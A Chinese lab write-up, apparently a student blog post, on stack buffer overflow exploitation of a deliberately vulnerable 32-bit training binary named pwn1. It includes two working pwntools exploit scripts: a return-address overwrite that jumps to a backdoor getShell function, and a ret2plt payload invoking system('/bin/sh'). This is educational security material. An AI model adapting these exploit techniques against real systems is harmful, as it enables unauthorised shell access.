实践九 软件安全攻防--缓冲区溢出和shellcode

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

实验要求

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  2. 掌握反汇编与十六进制编程器
  3. 能正确修改机器指令改变程序执行流程
  4. 能正确构造payload进行bof攻击

实验过程

ELF文件分析

先看看文件的架构跟开启的防护。32位的i386架构,所有防护都没有开启。

使用ida打开,主函数就一个foo。

foo中s字符串的长度只有28位,而gets函数没有限制输入长度,存在缓冲区溢出漏洞。

同时程序中还有一个后门函数。

改变程序执行流程,直接跳转到getShell函数

这里懒得手工改了,直接利用缓冲区溢出漏洞劫持程序流运行getshell函数,先填充28+4(栈底记录ebp指针需要四个字节)个字符,然后将返回地址覆盖为getshell函数的起始地址。

from pwn import *

#p = process('./pwn1')
p = process('./linux_server')

get_shell_addr = 0x804847D

payload = b'a' * (28+4) +  p32(get_shell_addr)

p.sendline(payload)

p.interactive()

使用ida远程调试,gets函数执行前,返回地址还是main函数中的地址。

gets函数读取我们的输入后,可以发现返回地址已经成了getshell函数的起始地址。

继续往下执行,当程序退出foo函数后,本来应该回到main函数继续执行,但是返回地址已经被我们修改为getshell函数的起始地址,所以程序会跳到getshell函数执行。

“/bin/sh”是linux中的一个指向shell的软连接,system("/bin/sh")相当于运行一个shell,也就是我们获得了系统的操作权限。

我们执行python脚本试试,可以发现已经成功获得shell权限。

注入一个自己制作的shellcode并运行这段shellcode

可以用shellcraft.sh生成对应的shellcode,程序没有开启NX防护,所以栈上的数据是可执行了,我们可以通过缓冲区溢出漏洞将shellcode放在栈上,不过有点麻烦的是我们需要泄露栈地址,不然无法计算shellcode的起始地址。
这里用个简单的点的方法,因为getshell函数中有system("/bin/sh"),所以plt表中肯定有system,这样动态链接时程序才能调用libc库中的system函数,rodata数据段中肯定也存在“/bin/sh”字符串。

系统可以通过plt调用system,我们当然也可以。32位系统是通过栈来传参数的,文件中我们也可以找到“/bin/sh”。我们在栈上模拟system("/bin/sh")执行时参数等的布置情况,将返回地址覆盖为system的plt表地址,即可使得程序执行system("/bin/sh")获得shell权限。

from pwn import *

p = process('./pwn1')
#p = process('./linux_server')

#get_shell_addr = 0x804847D
#context.binary = './pwn1'
#shellcode = asm(shellcraft.sh())
system_plt_addr = 0x8048350
bin_sh_addr = 0x8048560
payload = b'a' * (28+4) +  p32(system_plt_addr) + p32(0) + p32(bin_sh_addr)
p.sendline(payload)

p.interactive()

可以看到执行到ret时,rip指向的是system plt表的地址,"/bin/sh"设置在函数传参的第一个参数的位置,中间填充的8个0模拟的是system函数的返回地址。

执行脚本我们也可以成功拿到shell权限。

心得体会

这次实验让我更深入了解了程序运行的机制和流程。

posted @ 2022-05-09 19:41  PwnKi  阅读(378)  评论(0编辑  收藏  举报